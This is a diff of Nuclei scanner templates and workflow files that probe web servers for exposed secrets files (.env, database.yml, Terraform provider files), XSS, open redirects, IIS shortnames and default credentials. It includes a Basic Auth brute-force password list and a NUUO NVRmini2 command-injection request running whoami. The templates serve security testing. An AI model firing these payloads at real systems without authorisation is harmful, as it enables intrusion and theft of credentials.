@@ -2,13 +2,17 @@ id: laravel-env
|
||||
|
||||
info:
|
||||
name: Laravel .env file
|
||||
author: pxmme1337 & dwisiswant0
|
||||
author: pxmme1337 & dwisiswant0 & geeknik
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.env"
|
||||
- "{{BaseURL}}/.env.dev.local"
|
||||
- "{{BaseURL}}/.env.development.local"
|
||||
- "{{BaseURL}}/.env.prod.local"
|
||||
- "{{BaseURL}}/.env.production.local"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
id: redmine-db-config
|
||||
info:
|
||||
name: Detect Redmine Database Configuration
|
||||
author: geeknik
|
||||
description: Redmine is a flexible project management web application written using Ruby on Rails framework - https://redmine.org/projects/redmine
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/config/database.yml"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- adapter
|
||||
- database
|
||||
- host
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,98 @@
|
||||
id: basic-auth-bruteforce
|
||||
|
||||
info:
|
||||
name: Basic Auth Bruteforce
|
||||
author: "@w4cky_"
|
||||
severity: high
|
||||
|
||||
# Impotent Notes:-
|
||||
# This is specific template to work with basic 401 authentication endpoint.
|
||||
# Do not run this template on non basic authentication related endpoints to avoid false positive results.
|
||||
|
||||
requests:
|
||||
|
||||
- payloads:
|
||||
username:
|
||||
- admin
|
||||
- manager
|
||||
- administrator
|
||||
- username
|
||||
- login
|
||||
- anonymous
|
||||
- test
|
||||
- guest
|
||||
- root
|
||||
- demo
|
||||
|
||||
password:
|
||||
- admin
|
||||
- pass1
|
||||
- pass1
|
||||
- root
|
||||
- welcome
|
||||
- p@ssw0rd
|
||||
- user
|
||||
- test
|
||||
- testest
|
||||
- dupa8
|
||||
- admin123
|
||||
- admin1234
|
||||
- admin12345
|
||||
- anonymous
|
||||
- manager
|
||||
- linux
|
||||
- system
|
||||
- oracle
|
||||
- administrator
|
||||
- 11111111
|
||||
- qwerty123
|
||||
- cisco123
|
||||
- admin123456
|
||||
- 1qazXSW@
|
||||
- master
|
||||
- 123qweasd
|
||||
- 1qaz2wsx
|
||||
- 123456789
|
||||
- 1234567890
|
||||
- !qaz@wsx
|
||||
- !q@w
|
||||
- wubao
|
||||
- pa55w0rd
|
||||
- 123abc
|
||||
- 123456
|
||||
- 123456789
|
||||
- qwerty
|
||||
- password
|
||||
- 1111111
|
||||
- 12345678
|
||||
- abc123
|
||||
- 1234567
|
||||
- password1
|
||||
- 12345
|
||||
- 1234567890
|
||||
- 123123
|
||||
- 000000
|
||||
- Iloveyou
|
||||
- 1234
|
||||
- 1q2w3e4r5t
|
||||
- Qwertyuiop
|
||||
- 123
|
||||
- Monkey
|
||||
- Dragon
|
||||
- demo
|
||||
|
||||
attack: clusterbomb
|
||||
|
||||
raw:
|
||||
- |
|
||||
GET /protected HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('§username§:§password§')}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Connection: close
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,26 @@
|
||||
id: iis-shortname
|
||||
info:
|
||||
name: iis-shortname
|
||||
author: nodauf
|
||||
severity: info
|
||||
description: If IIS use old .Net Framwork it's possible to enumeration folder with the symbol ~.
|
||||
|
||||
# References:
|
||||
# - https://github.com/lijiejie/IIS_shortname_Scanner
|
||||
# - https://www.exploit-db.com/exploits/19525
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/N0t4xist*~1*/a.aspx"
|
||||
- "{{BaseURL}}/*~1*/a.aspx'"
|
||||
- method: OPTIONS
|
||||
path:
|
||||
- "{{BaseURL}}/N0t4xist*~1*/a.aspx"
|
||||
- "{{BaseURL}}/*~1*/a.aspx'"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
name: iis-scan
|
||||
dsl:
|
||||
- "status_code_1!=404 && status_code_2 == 404 || status_code_3 != 404 && status_code_4 == 404"
|
||||
@@ -0,0 +1,35 @@
|
||||
id: wp-plugin-scan
|
||||
info:
|
||||
name: Wordpress Plugin Scanner
|
||||
author: pdteam
|
||||
severity: info
|
||||
description: wordlist based wordpress plugin scanner.
|
||||
|
||||
requests:
|
||||
|
||||
- payloads:
|
||||
plugin_wordlist: wordlists/wp-plugins.txt
|
||||
|
||||
# Thanks to RandomRobbieBF for the wordlist
|
||||
# https://github.com/RandomRobbieBF/wordpress-plugin-list
|
||||
|
||||
attack: sniper
|
||||
threads: 50
|
||||
|
||||
raw:
|
||||
- |
|
||||
GET /§plugin_wordlist§ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: application/json, text/plain, */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "== Description =="
|
||||
@@ -2,7 +2,7 @@ id: basic-xss-prober
|
||||
|
||||
info:
|
||||
name: Basic XSS Prober
|
||||
author: nadino
|
||||
author: nadino & geeknik
|
||||
severity: low
|
||||
|
||||
# Basic XSS prober
|
||||
@@ -12,7 +12,15 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "\"><injectable>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
@@ -5,8 +5,8 @@ info:
|
||||
# Name is the name of the template
|
||||
name: Top 15 XSS Check
|
||||
# Author is the name of the author for the template
|
||||
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
|
||||
author: foulenzer
|
||||
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
|
||||
author: foulenzer & geeknik
|
||||
# Severity is the severity for the template.
|
||||
severity: medium
|
||||
# Description optionally describes the template.
|
||||
@@ -15,14 +15,18 @@ info:
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
|
||||
- "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss1%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss2%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss3%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss4%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss5%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss6%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss7%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss8%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss9%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss10%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss11%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss12%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss13%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss14%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss15%27%29%3E"
|
||||
redirects: true
|
||||
max-redirects: 1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<svg/onload=confirm('testing-xss')>"
|
||||
- "<svg/onload=confirm('testing-xss"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "text/html"
|
||||
part: header
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,21 @@
|
||||
id: unencrypted-bigip-ltm-cookie
|
||||
|
||||
info:
|
||||
name: F5 BIGIP Unencrypted Cookie
|
||||
author: PR3R00T
|
||||
severity: info
|
||||
reference: https://www.intelisecure.com/how-to-decode-big-ip-f5-persistence-cookie-values
|
||||
mitigation: https://support.f5.com/csp/article/K23254150
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
redirects: true
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- '(BIGipServer[a-z\_\.\-\~0-9A-Z]*)=([0-9a-zA-Z\.]*;)'
|
||||
- '=[0-9]*\.[0-9]{3,5}\.[0-9]{4};'
|
||||
part: header
|
||||
File renamed without changes.
@@ -0,0 +1,23 @@
|
||||
id: xml-schema-detect
|
||||
info:
|
||||
name: XML Schema Detection
|
||||
author: alph4byt3
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/schema"
|
||||
|
||||
matchers-condition: and
|
||||
redirects: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- ".xsd"
|
||||
- "Schemas"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -2,7 +2,7 @@ id: kubernetes-pods-api
|
||||
|
||||
info:
|
||||
name: Kubernetes Pods API
|
||||
author: ilovebinbash
|
||||
author: ilovebinbash & geeknik
|
||||
severity: critical
|
||||
description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.
|
||||
|
||||
@@ -20,4 +20,7 @@ requests:
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
part: header
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,24 @@
|
||||
id: apache-tomcat-snoop
|
||||
|
||||
info:
|
||||
name: Apache Tomcat example page disclosure - snoop
|
||||
author: pdteam
|
||||
severity: low
|
||||
description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
|
||||
|
||||
# Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Request URI: /examples/jsp/snp/snoop.jsp'
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -19,12 +19,8 @@ requests:
|
||||
GET /testing-put.txt HTTP/1.1
|
||||
Content-Type: text/plain
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- testing-payload
|
||||
- type: dsl
|
||||
name: multi-req
|
||||
dsl:
|
||||
- 'contains(body_2, "testing-payload") == true'
|
||||
@@ -84,6 +84,7 @@ requests:
|
||||
- "JMImplementation"
|
||||
- "EnvironmentManager"
|
||||
- "org.springframework.boot.loader"
|
||||
- "health"
|
||||
condition: or
|
||||
- type: status
|
||||
status:
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
id: basic-auth-detection
|
||||
|
||||
info:
|
||||
name: Basic auth detection
|
||||
author: "@w4cky_"
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 401
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "Www-Authenticate:"
|
||||
part: header
|
||||
+1991
-78
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,24 @@
|
||||
id: kibana-detect
|
||||
|
||||
info:
|
||||
name: Kibana Service Detection
|
||||
author: petruknisme
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login?next=%2F"
|
||||
- "{{BaseURL}}/bundles/login.bundle.js"
|
||||
- "{{BaseURL}}/bundles/kibana.style.css"
|
||||
headers:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<title>Kibana</title>"
|
||||
- "kibanaLoaderWrap"
|
||||
- "kibanaLoader"
|
||||
- "xpack"
|
||||
- "Elasticsearch B.V"
|
||||
condition: or
|
||||
@@ -0,0 +1,25 @@
|
||||
id: redmine-cli-detect
|
||||
info:
|
||||
name: Detect Redmine CLI Configuration File
|
||||
author: geeknik
|
||||
description: A small command-line utility to interact with Redmine - https://pypi.org/project/Redmine-CLI/
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.redmine-cli"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- default
|
||||
- my_id
|
||||
- root_url
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -2726,3 +2726,9 @@ requests:
|
||||
- "SEEEMS.FRAMEWORK"
|
||||
condition: or
|
||||
part: body
|
||||
|
||||
- type: regex
|
||||
name: awselb
|
||||
regex:
|
||||
- 'awselb'
|
||||
part: header
|
||||
@@ -0,0 +1,24 @@
|
||||
id: terraform-detect
|
||||
info:
|
||||
name: Detect Terraform Provider
|
||||
author: geeknik
|
||||
description: Write Infrastructure as Code - https://www.terraform.io/
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/provider.tf"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- access_key
|
||||
- terraform
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,27 @@
|
||||
id: nuuo-nvrmini2-upgradehandlephp-rce
|
||||
|
||||
info:
|
||||
name: NUUO NVRmini2 3.0.8 - Remote Code Execution
|
||||
author: berkdusunur
|
||||
severity: critical
|
||||
|
||||
# Reference:-
|
||||
# https://www.exploit-db.com/exploits/45070
|
||||
# https://github.com/berkdsnr/NUUO-NVRMINI-RCE
|
||||
# https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "/upload_tmp_dir/"
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -2,7 +2,7 @@ id: open-redirect
|
||||
|
||||
info:
|
||||
name: Open redirect Detection
|
||||
author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
|
||||
author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
|
||||
severity: low
|
||||
description: A user-controlled input redirect users to an external website.
|
||||
|
||||
@@ -19,7 +19,7 @@ requests:
|
||||
- "{{BaseURL}}//evil.com/..;/css"
|
||||
- "{{BaseURL}}/evil%E3%80%82com"
|
||||
- "{{BaseURL}}/%5Cevil.com"
|
||||
- "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
|
||||
- "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
|
||||
@@ -18,7 +18,7 @@ requests:
|
||||
attack: sniper
|
||||
raw:
|
||||
- |
|
||||
GET /eam/vib?id=path\vcdb.properties HTTP/1.1
|
||||
GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
|
||||
Accept: */*
|
||||
|
||||
@@ -16,7 +16,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: http://{{Hostname}}/login.php
|
||||
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
|
||||
|
||||
@@ -16,7 +16,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: http://{{Hostname}}
|
||||
Connection: close
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,18 +1,16 @@
|
||||
id: artica-web-proxy-workflow
|
||||
|
||||
info:
|
||||
name: Artica Web Proxy Workflows
|
||||
name: Artica Web Proxy Security Checks
|
||||
author: dwisiswant0 & pdteam
|
||||
description: A simple workflow that runs all Artica Web Proxy related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
artica_tech: technologies/artica-web-proxy-detect.yaml
|
||||
artica_auth_bypass: cves/CVE-2020-17506.yaml
|
||||
artica_os_command_inject: cves/CVE-2020-17505.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic:
|
||||
|
|
||||
if artica_tech() {
|
||||
if artica_auth_bypass() {
|
||||
artica_os_command_inject()
|
||||
}
|
||||
}
|
||||
workflows:
|
||||
|
||||
- template: technologies/artica-web-proxy-detect.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: cves/CVE-2020-17505.yaml
|
||||
@@ -0,0 +1,16 @@
|
||||
id: basic-auth-workflow
|
||||
|
||||
info:
|
||||
name: Basic auth Security Checks
|
||||
author: w4cky_
|
||||
description: A simple workflow that runs all Basic auth related nuclei templates on a given target.
|
||||
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
workflows:
|
||||
|
||||
- template: technologies/basic-auth-detection.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: fuzzing/basic-auth-bruteforce.yaml
|
||||
@@ -1,15 +0,0 @@
|
||||
id: bigip-pwner-workflow
|
||||
|
||||
info:
|
||||
name: F5 BIG-IP RCE Workflow
|
||||
author: dwisiswant0
|
||||
|
||||
variables:
|
||||
bigip_config_utility: technologies/bigip-config-utility-detect.yaml
|
||||
bigip_cve_2020_5902: cves/CVE-2020-5902.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
if bigip_config_utility() {
|
||||
bigip_cve_2020_5902()
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
id: bigip-workflow
|
||||
|
||||
info:
|
||||
name: F5 BIG-IP Security Checks
|
||||
author: dwisiswant0
|
||||
description: A simple workflow that runs all Bigip related nuclei templates on a given target.
|
||||
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
workflows:
|
||||
|
||||
- template: technologies/bigip-config-utility-detect.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: cves/CVE-2020-5902.yaml
|
||||
@@ -1,19 +1,18 @@
|
||||
id: cisco-asa-workflow
|
||||
|
||||
info:
|
||||
name: Cisco ASA Pwner
|
||||
name: Cisco ASA Security Checks
|
||||
author: flag007
|
||||
description: A simple workflow that runs all Cisco related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
ciscoasa: panels/cisco-asa-panel.yaml
|
||||
ciscoasa_cve_2020_3187: cves/CVE-2020-3187.yaml
|
||||
ciscoasa_cve_2020_3452: cves/CVE-2020-3452.yaml
|
||||
ciscoasa_cve_2018_0296: cves/CVE-2018-0296.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic:
|
||||
|
|
||||
if ciscoasa() {
|
||||
ciscoasa_cve_2020_3187()
|
||||
ciscoasa_cve_2020_3452()
|
||||
ciscoasa_cve_2018_0296()
|
||||
}
|
||||
workflows:
|
||||
|
||||
- template: panels/cisco-asa-panel.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: cves/CVE-2020-3187.yaml
|
||||
- template: cves/CVE-2020-3452.yaml
|
||||
- template: cves/CVE-2018-0296.yaml
|
||||
@@ -1,15 +1,16 @@
|
||||
id: grafana-workflow
|
||||
|
||||
info:
|
||||
name: Grafana Workflow
|
||||
name: Grafana Security Checks
|
||||
author: pdteam
|
||||
description: A simple workflow that runs all Grafana related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
grafana_login: panels/grafana-detect.yaml
|
||||
grafana_cred_check: default-credentials/grafana-default-credential.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic:
|
||||
|
|
||||
if grafana_login() {
|
||||
grafana_cred_check()
|
||||
}
|
||||
workflows:
|
||||
|
||||
- template: panels/grafana-detect.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: default-credentials/grafana-default-credential.yaml
|
||||
@@ -1,39 +0,0 @@
|
||||
id: jira-exploitaiton-workflow
|
||||
|
||||
info:
|
||||
name: Jira Exploitaiton workflow
|
||||
author: micha3lb3n
|
||||
|
||||
variables:
|
||||
jira_detect: technologies/jira-detect.yaml
|
||||
jira_signup: security-misconfiguration/jira-service-desk-signup.yaml
|
||||
jira_projects: security-misconfiguration/jira-unauthenticated-projects.yaml
|
||||
jira_dashboard: security-misconfiguration/jira-unauthenticated-dashboards.yaml
|
||||
jira_filters: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
|
||||
jira_user_picker: security-misconfiguration/jira-unauthenticated-user-picker.yaml
|
||||
jira_cve_1: cves/CVE-2019-8449.yaml
|
||||
jira_cve_2: cves/CVE-2019-8451.yaml
|
||||
jira_cve_3: cves/CVE-2017-9506.yaml
|
||||
jira_cve_4: cves/CVE-2018-20824.yaml
|
||||
jira_cve_5: cves/CVE-2019-3396.yaml
|
||||
jira_cve_6: cves/CVE-2020-14179.yaml
|
||||
jira_cve_7: cves/CVE-2020-14181.yaml
|
||||
jira_cve_8: cves/CVE-2019-8442.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
if jira_detect(){
|
||||
jira_signup()
|
||||
jira_projects()
|
||||
jira_dashboard()
|
||||
jira_filters()
|
||||
jira_user_picker()
|
||||
jira_cve_1()
|
||||
jira_cve_2()
|
||||
jira_cve_3()
|
||||
jira_cve_4()
|
||||
jira_cve_5()
|
||||
jira_cve_6()
|
||||
jira_cve_7()
|
||||
jira_cve_8()
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
id: jira-workflow
|
||||
|
||||
info:
|
||||
name: Jira Security Checks
|
||||
author: micha3lb3n
|
||||
description: A simple workflow that runs all Jira related nuclei templates on a given target.
|
||||
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
workflows:
|
||||
|
||||
- template: technologies/jira-detect.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: cves/CVE-2017-9506.yaml
|
||||
- template: cves/CVE-2018-20824.yaml
|
||||
- template: cves/CVE-2019-3396.yaml
|
||||
- template: cves/CVE-2019-3402.yaml
|
||||
- template: cves/CVE-2019-8442.yaml
|
||||
- template: cves/CVE-2019-8449.yaml
|
||||
- template: cves/CVE-2019-8451.yaml
|
||||
- template: cves/CVE-2020-14179.yaml
|
||||
- template: cves/CVE-2020-14181.yaml
|
||||
- template: security-misconfiguration/jira-service-desk-signup.yaml
|
||||
- template: security-misconfiguration/jira-unauthenticated-dashboards.yaml
|
||||
- template: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
|
||||
- template: security-misconfiguration/jira-unauthenticated-projects.yaml
|
||||
- template: security-misconfiguration/jira-unauthenticated-user-picker.yaml
|
||||
@@ -1,15 +0,0 @@
|
||||
id: liferay-rce-workflow
|
||||
|
||||
info:
|
||||
name: Liferay RCE Workflow
|
||||
author: dwisiswant0
|
||||
|
||||
variables:
|
||||
liferay_portal: technologies/liferay-portal-detect.yaml
|
||||
liferay_portal_cve: cves/CVE-2020-7961.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
if liferay_portal() {
|
||||
liferay_portal_cve()
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
id: liferay-workflow
|
||||
|
||||
info:
|
||||
name: Liferay Security Checks
|
||||
author: dwisiswant0
|
||||
description: A simple workflow that runs all liferay related nuclei templates on a given target.
|
||||
|
||||
